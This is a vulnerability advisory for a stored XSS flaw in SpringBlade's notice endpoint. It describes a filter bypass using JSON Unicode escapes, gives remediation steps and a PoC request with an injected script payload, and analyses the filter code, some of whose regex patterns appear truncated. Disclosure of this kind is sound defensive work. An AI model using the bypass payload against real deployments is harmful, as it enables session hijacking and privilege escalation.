# Vulnerability Summary: Stored XSS via XssHtmlFilter Bypass #38 ## Vulnerability Overview The `/api/blade-desk/notice/submit` endpoint in SpringBlade is vulnerable to Stored Cross-Site Scripting (XSS). Attackers can completely bypass the `XssHtmlFilter` by utilizing JSON Unicode escape sequences (`\uXXXX`) to inject arbitrary JavaScript into the `content` field. Since the notification system allows low-privilege users to send messages to high-privilege users (such as administrators), this vulnerability can lead to session hijacking, privilege escalation, and arbitrary API execution. ## Impact Scope * **Affected Versions**: ≤ 4.8.0 * **Repository**: https://github.com/chillzhuang/SpringBlade ## Remediation 1. **Do not filter the raw JSON body as HTML**: `XssHttpServletRequestWrapper` should not apply `XssHtmlFilter` to the entire JSON request body. Instead, sanitize individual field values after JSON deserialization (e.g., via Jackson deserializers or `@ControllerAdvice`). 2. **Use a proven HTML sanitizer**: Replace the custom regex-based `XssHtmlFilter` with a well-tested library such as the OWASP Java HTML Sanitizer or Jsoup Cleaner. 3. **Apply output encoding**: Ensure that all user-supplied content is HTML-encoded when rendered on the frontend, regardless of backend filtering. ## POC Code **1. Inject Malicious Payload (Request)** ```http POST /api/blade-desk/notice/submit HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: application/json, text/plain, */* Content-Type: application/json;charset=UTF-8 Authorization: Basic YWRtaW46MTIzNDU2 Content-Length: 175 { "title": "test", "content": "\u003cscript src=x onerror=alert(1)\u003e" } ``` **2. Trigger XSS (Response)** ```json { "code": 200, "message": "Operation successful", "data": null } ``` **3. Key Code Analysis** * **XssHttpServletRequestWrapper.java** ```java @Override public ServletInputStream getInputStream() throws IOException { // Reads the raw JSON body String body = WebUtil.getRequestBody(super.getInputStream()); // Applies HTML-based filtering to the entire JSON string body = xssEncode(body); // ... } private String xssEncode(String input) { return HTML_FILTER.filter(input); // XssHtmlFilter } ``` * **XssHtmlFilter.java** ```java // The filter relies entirely on regex patterns to detect HTML tags: private static final Pattern P_TAGS = Pattern.compile("]*>", 32); private static final Pattern P_END_TAG = Pattern.compile("", 34); private static final Pattern P_START_TAG = Pattern.compile("]*>", 34); // These patterns only match literal characters. JSON Unicode escapes (\u003c, \u003e) are not at the byte level, so every regex check passes without detection. The filter is fundamentally unaware of JSON encoding. ```